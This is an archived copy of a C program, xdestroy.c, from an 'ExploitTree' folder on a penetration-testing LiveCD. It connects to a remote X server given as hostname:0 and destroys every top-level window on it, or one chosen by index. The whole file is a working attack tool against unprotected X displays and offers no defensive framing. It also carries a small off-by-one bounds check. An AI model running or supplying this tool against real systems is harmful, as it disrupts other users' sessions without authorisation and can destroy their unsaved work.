home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xdestroy.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  88 lines

  1. /* xdestroy.c
  2.  * Destroys all windows in an X display
  3.  *
  4.  * Usage:    ./xdestroy hostname:0 <option>
  5.  * Compile:    gcc -lX11 -lm -o xdestroy xdestroy.c
  6.  *       or    gcc -L/usr/X11R6/lib -lX11 -lm -o xdestroy xdestroy.c
  7.  *
  8.  *
  9.  *    blasphemy (cornoil@netscape.net)
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <X11/X.h>
  14. #include <X11/Xlib.h>
  15.  
  16. int
  17. main(argc, argv)
  18. int argc;
  19. char *argv[];
  20. {
  21.   Display *remote_display;
  22.   Window r, p, *c;
  23.   unsigned int nc, x;
  24.  
  25.   printf("xdestroy.c by blasphemy | fred_\n");
  26.  
  27.   if (argc < 3)
  28.     {
  29.       fprintf(stderr,
  30.               "usage: %s [hostname:0] [option]\n"
  31.               "Options:\n\t-d\tDestroy all windows\n"
  32.               "\t-s #\tDestroys a specific window\n", argv[0]);
  33.  
  34.       exit(1);
  35.     }
  36.  
  37.   if ((remote_display = XOpenDisplay(argv[1])) == NULL)
  38.     {
  39.       fprintf(stderr,
  40.               "can't open Display: %s\n", argv[1]);
  41.  
  42.       exit(1);
  43.     }
  44.   else
  45.     {
  46.       printf("connected.. ");
  47.     }
  48.  
  49.   r = DefaultRootWindow(remote_display);
  50.   XQueryTree(remote_display,
  51.              r,
  52.              &r,    /* root */
  53.              &p,    /* parent */
  54.              &c,    /* children */
  55.              &nc);    /* number of children */
  56.  
  57.   /* I didn't use getopt() cause I'm to lazy */
  58.  
  59.   if (strcmp(argv[2], "-d") == 0)
  60.     {
  61.       printf("destroying all %d windows\n", nc);
  62.  
  63.       for (x = 0; x < nc; x++)
  64.         XDestroyWindow(remote_display, c[x]);
  65.  
  66.     }
  67.   else if (strcmp(argv[2], "-s") == 0)
  68.     {
  69.       printf("destroying window %d\n", atoi(argv[3]));
  70.  
  71.       x = atoi(argv[3]);
  72.       if (x > nc)
  73.         {
  74.           printf("No such window!\n");
  75.           XCloseDisplay(remote_display);
  76.           exit(1);
  77.         }
  78.       else
  79.         XDestroyWindow(remote_display, c[x]);
  80.     }
  81.   else
  82.     printf("Unknown option\n");
  83.  
  84.   XCloseDisplay(remote_display);
  85.  
  86.   return(0);
  87. }
  88. /*                    www.hack.co.za                  [25 Feb 2000]*/